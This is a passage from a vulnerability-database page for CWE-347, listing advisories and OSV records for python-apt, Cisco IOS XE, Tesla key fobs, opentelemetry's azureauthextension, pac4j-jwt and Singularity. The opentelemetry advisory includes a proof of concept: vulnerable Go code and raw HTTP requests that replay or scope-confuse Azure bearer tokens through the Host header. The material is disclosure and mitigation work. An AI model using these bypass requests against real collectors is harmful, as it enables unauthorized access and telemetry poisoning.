Common Weakness Enumeration

CWE-347

Allowed

Improper Verification of Cryptographic Signature

Abstraction: Base · Status: Draft

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

1120 vulnerabilities reference this CWE, most recent first.

GHSA-PJ65-3PF6-C5Q4

Vulnerability from github – Published: 2022-05-24 17:12 – Updated: 2023-09-26 21:25
VLAI
Summary
python-apt Does Not Check Hash Signature
Details

Python-apt doesn't check if hashes are signed in Version.fetch_binary() and Version.fetch_source() of apt/package.py or in _fetch_archives() of apt/cache.py in version 1.9.3ubuntu2 and earlier. This allows downloads from unsigned repositories which shouldn't be allowed and has been fixed in verisions 1.9.5, 1.9.0ubuntu1.2, 1.6.5ubuntu0.1, 1.1.0~beta1ubuntu0.16.04.7, 0.9.3.5ubuntu3+esm2, and 0.8.3ubuntu7.5.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "python-apt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.3ubuntu7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "python-apt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0"
            },
            {
              "fixed": "0.9.3.5ubuntu3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "python-apt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "1.6.5ubuntu0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "python-apt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.9.0ubuntu1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "python-apt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.1"
            },
            {
              "fixed": "1.9.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-15796"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-18T22:36:38Z",
    "nvd_published_at": "2020-03-26T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Python-apt doesn\u0027t check if hashes are signed in `Version.fetch_binary()` and `Version.fetch_source()` of apt/package.py or in `_fetch_archives()` of apt/cache.py in version 1.9.3ubuntu2 and earlier. This allows downloads from unsigned repositories which shouldn\u0027t be allowed and has been fixed in verisions 1.9.5, 1.9.0ubuntu1.2, 1.6.5ubuntu0.1, 1.1.0~beta1ubuntu0.16.04.7, 0.9.3.5ubuntu3+esm2, and 0.8.3ubuntu7.5.",
  "id": "GHSA-pj65-3pf6-c5q4",
  "modified": "2023-09-26T21:25:11Z",
  "published": "2022-05-24T17:12:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15796"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/excid3/python-apt"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4247-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4247-3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "python-apt Does Not Check Hash Signature"
}

GHSA-PJH3-48QC-PM5C

Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-05-24 17:45
VLAI
Details

Multiple vulnerabilities in the fast reload feature of Cisco IOS XE Software running on Cisco Catalyst 3850, Cisco Catalyst 9300, and Cisco Catalyst 9300L Series Switches could allow an authenticated, local attacker to either execute arbitrary code on the underlying operating system, install and boot a malicious software image, or execute unsigned binaries on an affected device. These vulnerabilities are due to improper checks performed by system boot routines. To exploit these vulnerabilities, the attacker would need privileged access to the CLI of the device. A successful exploit could allow the attacker to either execute arbitrary code on the underlying operating system or execute unsigned code and bypass the image verification check part of the secure boot process. For more information about these vulnerabilities, see the Details section of this advisory.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-1376"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-24T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple vulnerabilities in the fast reload feature of Cisco IOS XE Software running on Cisco Catalyst 3850, Cisco Catalyst 9300, and Cisco Catalyst 9300L Series Switches could allow an authenticated, local attacker to either execute arbitrary code on the underlying operating system, install and boot a malicious software image, or execute unsigned binaries on an affected device. These vulnerabilities are due to improper checks performed by system boot routines. To exploit these vulnerabilities, the attacker would need privileged access to the CLI of the device. A successful exploit could allow the attacker to either execute arbitrary code on the underlying operating system or execute unsigned code and bypass the image verification check part of the secure boot process. For more information about these vulnerabilities, see the Details section of this advisory.",
  "id": "GHSA-pjh3-48qc-pm5c",
  "modified": "2022-05-24T17:45:11Z",
  "published": "2022-05-24T17:45:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1376"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fast-Zqr6DD5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-PJJJ-HPX9-QMC6

Vulnerability from github – Published: 2022-05-24 17:35 – Updated: 2022-05-24 17:35
VLAI
Details

Tesla Model X vehicles before 2020-11-23 have key fobs that accept firmware updates without signature verification. This allows attackers to construct firmware that retrieves an unlock code from a secure enclave chip.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-29438"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-30T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Tesla Model X vehicles before 2020-11-23 have key fobs that accept firmware updates without signature verification. This allows attackers to construct firmware that retrieves an unlock code from a secure enclave chip.",
  "id": "GHSA-pjjj-hpx9-qmc6",
  "modified": "2022-05-24T17:35:17Z",
  "published": "2022-05-24T17:35:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-29438"
    },
    {
      "type": "WEB",
      "url": "https://www.wired.com/story/tesla-model-x-hack-bluetooth"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-PJV4-3C63-699F

Vulnerability from github – Published: 2026-05-06 22:32 – Updated: 2026-05-14 20:42
VLAI
Summary
opentelemetry-collector-contrib's azureauthextension Authenticate method does not validate bearer tokens, allowing auth bypass via replay
Details

Summary

A server-side authentication bypass in azureauthextension allows any party who holds a single valid Azure access token for any scope the collector's configured identity can mint for to authenticate to any OpenTelemetry receiver that uses auth: azure_auth. The extension's Authenticate method does not validate incoming bearer tokens as JWTs. Instead, it calls its own configured credential to obtain an access token and compares the client's token to the result with string equality — and the scope for that server-side token request is taken from the client-supplied Host header. As a result, a token minted for any Azure resource the service principal has ever been issued a token for (ARM, Graph, Key Vault, Storage, etc.) will authenticate to the collector if the attacker picks a matching Host. Tokens are replayable for the full issued lifetime (commonly several hours for managed identity tokens).

Severity: High (CVSS 8.1). See "Threat model" below for the preconditions that inform that score.

Root cause

The extension implements both extensionauth.HTTPClient (outbound: "attach my identity to requests I send") and extensionauth.Server (inbound: "validate a credential someone presented to me"). Those two interfaces look symmetric but are not: holding a credential to present says nothing about the ability to validate a credential someone else presents. The outbound path only requires credential.GetToken(); the inbound path requires JWT signature verification against the issuer's JWKS, issuer/audience/exp/nbf checks, and an algorithm allowlist — none of which the extension does.

PR #39178 ("Implement extensionauth.HTTPClient and extensionauth.Server interface functions") added the Server path in v0.124.0 by reusing the same credential object and comparing strings. That server-side path is present in every release through v0.150.0. The outbound HTTPClient path (used by Azure exporters) is unaffected.

Details

Vulnerable code — extension/azureauthextension/extension.go:208–235:

func (a *authenticator) Authenticate(ctx context.Context, headers map[string][]string) (context.Context, error) {
    auth, err := getHeaderValue("Authorization", headers)
    if err != nil { return ctx, err }
    host, err := getHeaderValue("Host", headers)
    if err != nil { return ctx, err }

    authFormat := strings.Split(auth, " ")
    if len(authFormat) != 2 { /* ... */ }
    if authFormat[0] != "Bearer" { /* ... */ }

    token, err := a.getTokenForHost(ctx, host)   // asks the collector's own identity
    if err != nil { return ctx, err }
    if authFormat[1] != token {                  // string comparison, not JWT validation
        return ctx, errors.New("unauthorized: invalid token")
    }
    return ctx, nil
}

And getTokenForHost at extension.go:187–206:

options := policy.TokenRequestOptions{
    Scopes: []string{
        fmt.Sprintf("https://%s/.default", host),   // client-supplied Host chooses scope
    },
}

Two independent problems compose here:

1. No JWT validation. Real Entra ID bearer validation requires verifying the JWT signature against the tenant JWKS and checking iss, aud, exp, nbf, plus an algorithm allowlist. The extension does none of this. The "expected" value is a token the server mints from its own credential, not a signature to verify. Any party that already holds a valid token for the collector's identity — a co-tenant pod that shares the managed identity, any peer authenticated with the same service principal, any component that retained an Authorization: header — can replay it directly.

2. Attacker-controlled audience. The scope used to mint the "expected" token comes from the client-supplied Host header: https://<Host>/.default. The azcore credential returns a consistent token per (identity, scope) pair within the cache window, so an attacker can pick any scope the SP has been issued a token for and match it by setting Host accordingly. This is the sharper of the two flaws: it means a token leaked from an unrelated Azure integration — ARM, Graph, Key Vault, a different Storage account — authenticates to the collector.

The correct primitive is a real JWT validator — e.g. github.com/coreos/go-oidc/v3 pointed at the tenant's discovery endpoint, with audience and issuer pinned server-side from configuration, never derived from request headers.

Proof of concept

Both variants assume a collector running with azureauthextension v0.124.0–v0.150.0, configured with any credential mode and referenced from a receiver's auth: block:

extensions:
  azure_auth:
    managed_identity:
      client_id: ${CLIENT_ID}

receivers:
  otlp:
    protocols:
      http:
        endpoint: 0.0.0.0:4318
        auth:
          authenticator: azure_auth

service:
  extensions: [azure_auth]
  pipelines:
    traces:
      receivers: [otlp]
      exporters: [debug]

Variant A — Replay (same scope)

The attacker controls a workload that shares the collector's managed identity (common in AKS when multiple pods bind the same UAMI). Both workloads query IMDS for https://management.azure.com/.default and receive the same cached token. The attacker replays:

POST /v1/traces HTTP/1.1
Host: management.azure.com
Authorization: Bearer eyJ...            # token minted for management.azure.com
Content-Type: application/json

{"resourceSpans":[...]}

Authenticate calls getTokenForHost(ctx, "management.azure.com"), receives the identical cached token, and the string comparison passes.

Variant B — Scope confusion (the stronger case)

The attacker holds a token for the SP issued for a different Azure resource — say Key Vault, obtained from an entirely unrelated integration. The collector was never intended to accept Key Vault tokens. The attacker sets Host to match:

POST /v1/traces HTTP/1.1
Host: vault.azure.net
Authorization: Bearer eyJ...            # token minted for vault.azure.net
Content-Type: application/json

{"resourceSpans":[...]}

Authenticate calls getTokenForHost(ctx, "vault.azure.net"). The collector's credential mints (or returns cached) a token for https://vault.azure.net/.default — the same token the attacker holds, because both come from the same SP issued for the same scope by the same IdP. Comparison passes. The collector accepts telemetry gated on "proof of identity to Key Vault."

In a correct implementation, the JWT's aud would be pinned server-side to a value unrelated to Host, and Variant B would fail regardless of what the attacker put in the Host header.

A small Go reproducer can be built around the extension's own test harness: the existing TestAuthenticate in extension_test.go is effectively a demonstration of the broken behavior — it passes when the client-supplied token equals the server-side token for the given Host, which is exactly what an attacker arranges.

Impact

Vulnerability class: Improper Authentication (CWE-287), with contributing CWE-347 (Improper Verification of Cryptographic Signature — no JWT validation), CWE-294 (Authentication Bypass by Capture-replay — tokens replayable for full TTL), and CWE-290 (Authentication Bypass by Spoofing — client Host header chooses the expected scope).

Threat model / precondition. The attacker needs to already hold (or be able to obtain) a valid Azure access token issued to the collector's SP for any scope. In practice this is satisfied by: (a) controlling another workload that binds the same managed identity, (b) compromising any peer authenticated with the same SP, or (c) observing an Authorization: header from any prior legitimate request for the SP. This is what drives the 8.1 score — the precondition is non-trivial but is routine in multi-workload Azure environments.

Who is impacted. Any operator of opentelemetry-collector-contrib v0.124.0 through v0.150.0 who configured azureauthextension on a receiver's auth: block. This applies to both HTTP and gRPC receivers — gRPC receivers surface :authority as Host through the collector's header handling, so the same exploit path applies there.

Deployments most at risk: - Multi-workload Azure environments where the collector shares a managed identity with other workloads (any such workload can authenticate as an arbitrary telemetry source). - Deployments that forward Authorization: headers through proxies, service meshes, or logging pipelines (one leaked token is enough, and persists for the token TTL — typically several hours for MI tokens, not the 60-minute user-token window). - Multi-tenant environments where different customers' telemetry converges at a collector protected by this extension.

Consequences. Unauthenticated (from the collector's perspective) ingest of arbitrary traces, metrics, and logs. Downstream effects depend on the collector's exporters and include telemetry-backend poisoning, log injection (masking real attacker activity in SIEMs), metric manipulation to trigger or suppress alerts, cost-amplification against pay-per-datapoint backends, and adversarial traces that corrupt service-graph and incident-triage signals.

Not impacted. The extension's outbound extensionauth.HTTPClient path, used by Azure exporters, is unaffected. Operators who use azureauthextension only on exporters can continue doing so.

Mitigation

Until a patched release is available, remove azure_auth from any receiver auth: blocks. For genuine Entra ID JWT validation on OTLP receivers, use oidcauthextension pointed at the tenant discovery URL, with audience pinned from configuration:

extensions:
  oidc:
    issuer_url: https://login.microsoftonline.com/<tenant-id>/v2.0
    audience: <expected-api-audience>

Resources

  • PR introducing the vulnerable server-side path: #39178
  • Affected versions: v0.124.0 – v0.150.0

Assisted-by: Opus 4.7

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/open-telemetry/opentelemetry-collector-contrib/extension/azureauthextension"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.124.0"
            },
            {
              "last_affected": "0.150.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42602"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208",
      "CWE-287",
      "CWE-290",
      "CWE-294",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T22:32:43Z",
    "nvd_published_at": "2026-05-13T21:16:47Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA server-side authentication bypass in `azureauthextension` allows any party who holds a single valid Azure access token for *any scope the collector\u0027s configured identity can mint for* to authenticate to any OpenTelemetry receiver that uses `auth: azure_auth`. The extension\u0027s `Authenticate` method does not validate incoming bearer tokens as JWTs. Instead, it calls its own configured credential to obtain an access token and compares the client\u0027s token to the result with string equality \u2014 and the scope for that server-side token request is taken from the client-supplied `Host` header. As a result, a token minted for any Azure resource the service principal has ever been issued a token for (ARM, Graph, Key Vault, Storage, etc.) will authenticate to the collector if the attacker picks a matching `Host`. Tokens are replayable for the full issued lifetime (commonly several hours for managed identity tokens).\n\nSeverity: High (CVSS 8.1). See \"Threat model\" below for the preconditions that inform that score.\n\n### Root cause\n\nThe extension implements both `extensionauth.HTTPClient` (outbound: \"attach my identity to requests I send\") and `extensionauth.Server` (inbound: \"validate a credential someone presented to me\"). Those two interfaces look symmetric but are not: holding a credential to present says nothing about the ability to validate a credential someone else presents. The outbound path only requires `credential.GetToken()`; the inbound path requires JWT signature verification against the issuer\u0027s JWKS, issuer/audience/exp/nbf checks, and an algorithm allowlist \u2014 none of which the extension does.\n\nPR #39178 (\"Implement extensionauth.HTTPClient and extensionauth.Server interface functions\") added the `Server` path in v0.124.0 by reusing the same credential object and comparing strings. That server-side path is present in every release through v0.150.0. The outbound `HTTPClient` path (used by Azure exporters) is unaffected.\n\n### Details\n\nVulnerable code \u2014 `extension/azureauthextension/extension.go:208\u2013235`:\n\n```go\nfunc (a *authenticator) Authenticate(ctx context.Context, headers map[string][]string) (context.Context, error) {\n    auth, err := getHeaderValue(\"Authorization\", headers)\n    if err != nil { return ctx, err }\n    host, err := getHeaderValue(\"Host\", headers)\n    if err != nil { return ctx, err }\n\n    authFormat := strings.Split(auth, \" \")\n    if len(authFormat) != 2 { /* ... */ }\n    if authFormat[0] != \"Bearer\" { /* ... */ }\n\n    token, err := a.getTokenForHost(ctx, host)   // asks the collector\u0027s own identity\n    if err != nil { return ctx, err }\n    if authFormat[1] != token {                  // string comparison, not JWT validation\n        return ctx, errors.New(\"unauthorized: invalid token\")\n    }\n    return ctx, nil\n}\n```\n\nAnd `getTokenForHost` at `extension.go:187\u2013206`:\n\n```go\noptions := policy.TokenRequestOptions{\n    Scopes: []string{\n        fmt.Sprintf(\"https://%s/.default\", host),   // client-supplied Host chooses scope\n    },\n}\n```\n\nTwo independent problems compose here:\n\n**1. No JWT validation.** Real Entra ID bearer validation requires verifying the JWT signature against the tenant JWKS and checking `iss`, `aud`, `exp`, `nbf`, plus an algorithm allowlist. The extension does none of this. The \"expected\" value is a token the server mints from its own credential, not a signature to verify. Any party that already holds a valid token for the collector\u0027s identity \u2014 a co-tenant pod that shares the managed identity, any peer authenticated with the same service principal, any component that retained an `Authorization:` header \u2014 can replay it directly.\n\n**2. Attacker-controlled audience.** The scope used to mint the \"expected\" token comes from the client-supplied `Host` header: `https://\u003cHost\u003e/.default`. The `azcore` credential returns a consistent token per (identity, scope) pair within the cache window, so an attacker can pick any scope the SP has been issued a token for and match it by setting `Host` accordingly. This is the sharper of the two flaws: it means a token leaked from an unrelated Azure integration \u2014 ARM, Graph, Key Vault, a different Storage account \u2014 authenticates to the collector.\n\nThe correct primitive is a real JWT validator \u2014 e.g. `github.com/coreos/go-oidc/v3` pointed at the tenant\u0027s discovery endpoint, with audience and issuer pinned *server-side from configuration*, never derived from request headers.\n\n### Proof of concept\n\nBoth variants assume a collector running with `azureauthextension` v0.124.0\u2013v0.150.0, configured with any credential mode and referenced from a receiver\u0027s `auth:` block:\n\n```yaml\nextensions:\n  azure_auth:\n    managed_identity:\n      client_id: ${CLIENT_ID}\n\nreceivers:\n  otlp:\n    protocols:\n      http:\n        endpoint: 0.0.0.0:4318\n        auth:\n          authenticator: azure_auth\n\nservice:\n  extensions: [azure_auth]\n  pipelines:\n    traces:\n      receivers: [otlp]\n      exporters: [debug]\n```\n\n#### Variant A \u2014 Replay (same scope)\n\nThe attacker controls a workload that shares the collector\u0027s managed identity (common in AKS when multiple pods bind the same UAMI). Both workloads query IMDS for `https://management.azure.com/.default` and receive the same cached token. The attacker replays:\n\n```\nPOST /v1/traces HTTP/1.1\nHost: management.azure.com\nAuthorization: Bearer eyJ...            # token minted for management.azure.com\nContent-Type: application/json\n\n{\"resourceSpans\":[...]}\n```\n\n`Authenticate` calls `getTokenForHost(ctx, \"management.azure.com\")`, receives the identical cached token, and the string comparison passes.\n\n#### Variant B \u2014 Scope confusion (the stronger case)\n\nThe attacker holds a token for the SP issued for a *different* Azure resource \u2014 say Key Vault, obtained from an entirely unrelated integration. The collector was never intended to accept Key Vault tokens. The attacker sets `Host` to match:\n\n```\nPOST /v1/traces HTTP/1.1\nHost: vault.azure.net\nAuthorization: Bearer eyJ...            # token minted for vault.azure.net\nContent-Type: application/json\n\n{\"resourceSpans\":[...]}\n```\n\n`Authenticate` calls `getTokenForHost(ctx, \"vault.azure.net\")`. The collector\u0027s credential mints (or returns cached) a token for `https://vault.azure.net/.default` \u2014 the same token the attacker holds, because both come from the same SP issued for the same scope by the same IdP. Comparison passes. The collector accepts telemetry gated on \"proof of identity to Key Vault.\"\n\nIn a correct implementation, the JWT\u0027s `aud` would be pinned server-side to a value unrelated to `Host`, and Variant B would fail regardless of what the attacker put in the `Host` header.\n\nA small Go reproducer can be built around the extension\u0027s own test harness: the existing `TestAuthenticate` in `extension_test.go` is effectively a demonstration of the broken behavior \u2014 it passes when the client-supplied token equals the server-side token for the given `Host`, which is exactly what an attacker arranges.\n\n### Impact\n\n**Vulnerability class:** Improper Authentication (CWE-287), with contributing CWE-347 (Improper Verification of Cryptographic Signature \u2014 no JWT validation), CWE-294 (Authentication Bypass by Capture-replay \u2014 tokens replayable for full TTL), and CWE-290 (Authentication Bypass by Spoofing \u2014 client `Host` header chooses the expected scope).\n\n**Threat model / precondition.** The attacker needs to already hold (or be able to obtain) a valid Azure access token issued to the collector\u0027s SP for any scope. In practice this is satisfied by: (a) controlling another workload that binds the same managed identity, (b) compromising any peer authenticated with the same SP, or (c) observing an `Authorization:` header from any prior legitimate request for the SP. This is what drives the 8.1 score \u2014 the precondition is non-trivial but is routine in multi-workload Azure environments.\n\n**Who is impacted.** Any operator of `opentelemetry-collector-contrib` v0.124.0 through v0.150.0 who configured `azureauthextension` on a receiver\u0027s `auth:` block. This applies to both HTTP and gRPC receivers \u2014 gRPC receivers surface `:authority` as `Host` through the collector\u0027s header handling, so the same exploit path applies there.\n\n**Deployments most at risk:**\n- Multi-workload Azure environments where the collector shares a managed identity with other workloads (any such workload can authenticate as an arbitrary telemetry source).\n- Deployments that forward `Authorization:` headers through proxies, service meshes, or logging pipelines (one leaked token is enough, and persists for the token TTL \u2014 typically several hours for MI tokens, not the 60-minute user-token window).\n- Multi-tenant environments where different customers\u0027 telemetry converges at a collector protected by this extension.\n\n**Consequences.** Unauthenticated (from the collector\u0027s perspective) ingest of arbitrary traces, metrics, and logs. Downstream effects depend on the collector\u0027s exporters and include telemetry-backend poisoning, log injection (masking real attacker activity in SIEMs), metric manipulation to trigger or suppress alerts, cost-amplification against pay-per-datapoint backends, and adversarial traces that corrupt service-graph and incident-triage signals.\n\n**Not impacted.** The extension\u0027s outbound `extensionauth.HTTPClient` path, used by Azure exporters, is unaffected. Operators who use `azureauthextension` only on exporters can continue doing so.\n\n### Mitigation\n\nUntil a patched release is available, remove `azure_auth` from any receiver `auth:` blocks. For genuine Entra ID JWT validation on OTLP receivers, use `oidcauthextension` pointed at the tenant discovery URL, with audience pinned from configuration:\n\n```yaml\nextensions:\n  oidc:\n    issuer_url: https://login.microsoftonline.com/\u003ctenant-id\u003e/v2.0\n    audience: \u003cexpected-api-audience\u003e\n```\n\n### Resources\n\n- PR introducing the vulnerable server-side path: [#39178](https://github.com/open-telemetry/opentelemetry-collector-contrib/pull/39178)\n- Affected versions: v0.124.0 \u2013 v0.150.0\n\nAssisted-by: Opus 4.7",
  "id": "GHSA-pjv4-3c63-699f",
  "modified": "2026-05-14T20:42:40Z",
  "published": "2026-05-06T22:32:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-collector-contrib/security/advisories/GHSA-pjv4-3c63-699f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42602"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-collector-contrib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "opentelemetry-collector-contrib\u0027s azureauthextension Authenticate method does not validate bearer tokens, allowing auth bypass via replay"
}

GHSA-PM7G-W2CF-Q238

Vulnerability from github – Published: 2026-03-05 00:31 – Updated: 2026-03-06 15:41
VLAI
Summary
pac4j-jwt: JwtAuthenticator Authentication Bypass via JWE-Wrapped PlainJWT
Details

pac4j-jwt versions prior to 4.5.9, 5.7.9, and 6.3.3 contain an authentication bypass vulnerability in JwtAuthenticator when processing encrypted JWTs that allows remote attackers to forge authentication tokens. Attackers who possess the server's RSA public key can create a JWE-wrapped PlainJWT with arbitrary subject and role claims, bypassing signature verification to authenticate as any user including administrators.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.pac4j:pac4j-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.4.1"
            },
            {
              "fixed": "6.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.pac4j:pac4j-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.pac4j:pac4j-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29000"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-06T15:41:53Z",
    "nvd_published_at": "2026-03-04T22:16:18Z",
    "severity": "CRITICAL"
  },
  "details": "pac4j-jwt versions prior to 4.5.9, 5.7.9, and 6.3.3 contain an authentication bypass vulnerability in JwtAuthenticator when processing encrypted JWTs that allows remote attackers to forge authentication tokens. Attackers who possess the server\u0027s RSA public key can create a JWE-wrapped PlainJWT with arbitrary subject and role claims, bypassing signature verification to authenticate as any user including administrators.",
  "id": "GHSA-pm7g-w2cf-q238",
  "modified": "2026-03-06T15:41:53Z",
  "published": "2026-03-05T00:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29000"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pac4j/pac4j"
    },
    {
      "type": "WEB",
      "url": "https://www.codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key"
    },
    {
      "type": "WEB",
      "url": "https://www.pac4j.org/blog/security-advisory-pac4j-jwt-jwtauthenticator.html"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/pac4j-jwt-jwtauthenticator-authentication-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pac4j-jwt: JwtAuthenticator Authentication Bypass via JWE-Wrapped PlainJWT"
}

GHSA-PMFR-63C2-JR5C

Vulnerability from github – Published: 2021-12-20 18:24 – Updated: 2023-01-20 22:02
VLAI
Summary
Execution Control List (ECL) Is Insecure in Singularity
Details

Impact

The Singularity Execution Control List (ECL) allows system administrators to set up a policy that defines rules about what signature(s) must be (or must not be) present on a SIF container image for it to be permitted to run.

In Singularity 3.x versions below 3.6.0, the following issues allow the ECL to be bypassed by a malicious user:

  • Image integrity is not validated when an ECL policy is enforced.
  • The fingerprint required by the ECL is compared against the signature object descriptor(s) in the SIF file, rather than to a cryptographically validated signature. Thus, it is trivial to craft an arbitrary payload which will be permitted to run, even if the attacker does not have access to the private key associated with the fingerprint(s) configured in the ECL.

Patches

These issues are addressed in Singularity 3.6.0.

All users are advised to upgrade to 3.6.0. Note that Singularity 3.6.0 uses a new signature format that is necessarily incompatible with Singularity < 3.6.0 - e.g. Singularity 3.5.3 cannot verify containers signed by 3.6.0.

Version 3.6.0 includes a legacyinsecure option that can be set to legacyinsecure = true in ecl.toml to allow the ECL to perform verification of the older, and insecure, legacy signatures for compatibility with existing containers. This does not guarantee that containers have not been modified since signing, due to other issues in the legacy signature format. The option should be used only to temporarily ease the transition to containers signed with the new 3.6.0 signature format.

Workarounds

This issue affects any installation of Singularity configured to use the Execution Control List (ECL) functionality. There is no workaround if ECL is required.

For more information

General questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:

Any sensitive security concerns should be directed to: security@sylabs.io

See our Security Policy here: https://sylabs.io/security-policy

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sylabs/singularity"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-13845"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347",
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-24T19:13:13Z",
    "nvd_published_at": "2020-07-14T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe Singularity Execution Control List (ECL) allows system administrators to set up a policy that defines rules about what signature(s) must be (or must not be) present on a SIF container image for it to be permitted to run.\n\nIn Singularity 3.x versions below 3.6.0, the following issues allow the ECL to be bypassed by a malicious user:\n\n * Image integrity is not validated when an ECL policy is enforced.\n * The fingerprint required by the ECL is compared against the signature object descriptor(s) in the SIF file, rather than to a cryptographically validated signature. Thus, it is trivial to craft an arbitrary payload which will be permitted to run, even if the attacker does not have access to the private key associated with the fingerprint(s) configured in the ECL.\n\n### Patches\n\nThese issues are addressed in Singularity 3.6.0.\n\nAll users are advised to upgrade to 3.6.0. Note that Singularity 3.6.0 uses a new signature format that is necessarily incompatible with Singularity \u003c 3.6.0 - e.g. Singularity 3.5.3 cannot verify containers signed by 3.6.0.\n\nVersion 3.6.0 includes a `legacyinsecure` option that can be set to `legacyinsecure = true` in `ecl.toml` to allow the ECL to perform verification of the older, and insecure, legacy signatures for compatibility with existing containers. This does not guarantee that containers have not been modified since signing, due to other issues in the legacy signature format. The option should be used only to temporarily ease the transition to containers signed with the new 3.6.0 signature format.\n\n### Workarounds\n\nThis issue affects any installation of Singularity configured to use the Execution Control List (ECL) functionality. There is no workaround if ECL is required.\n\n### For more information\n\nGeneral questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:\n\n* [Singularity Slack 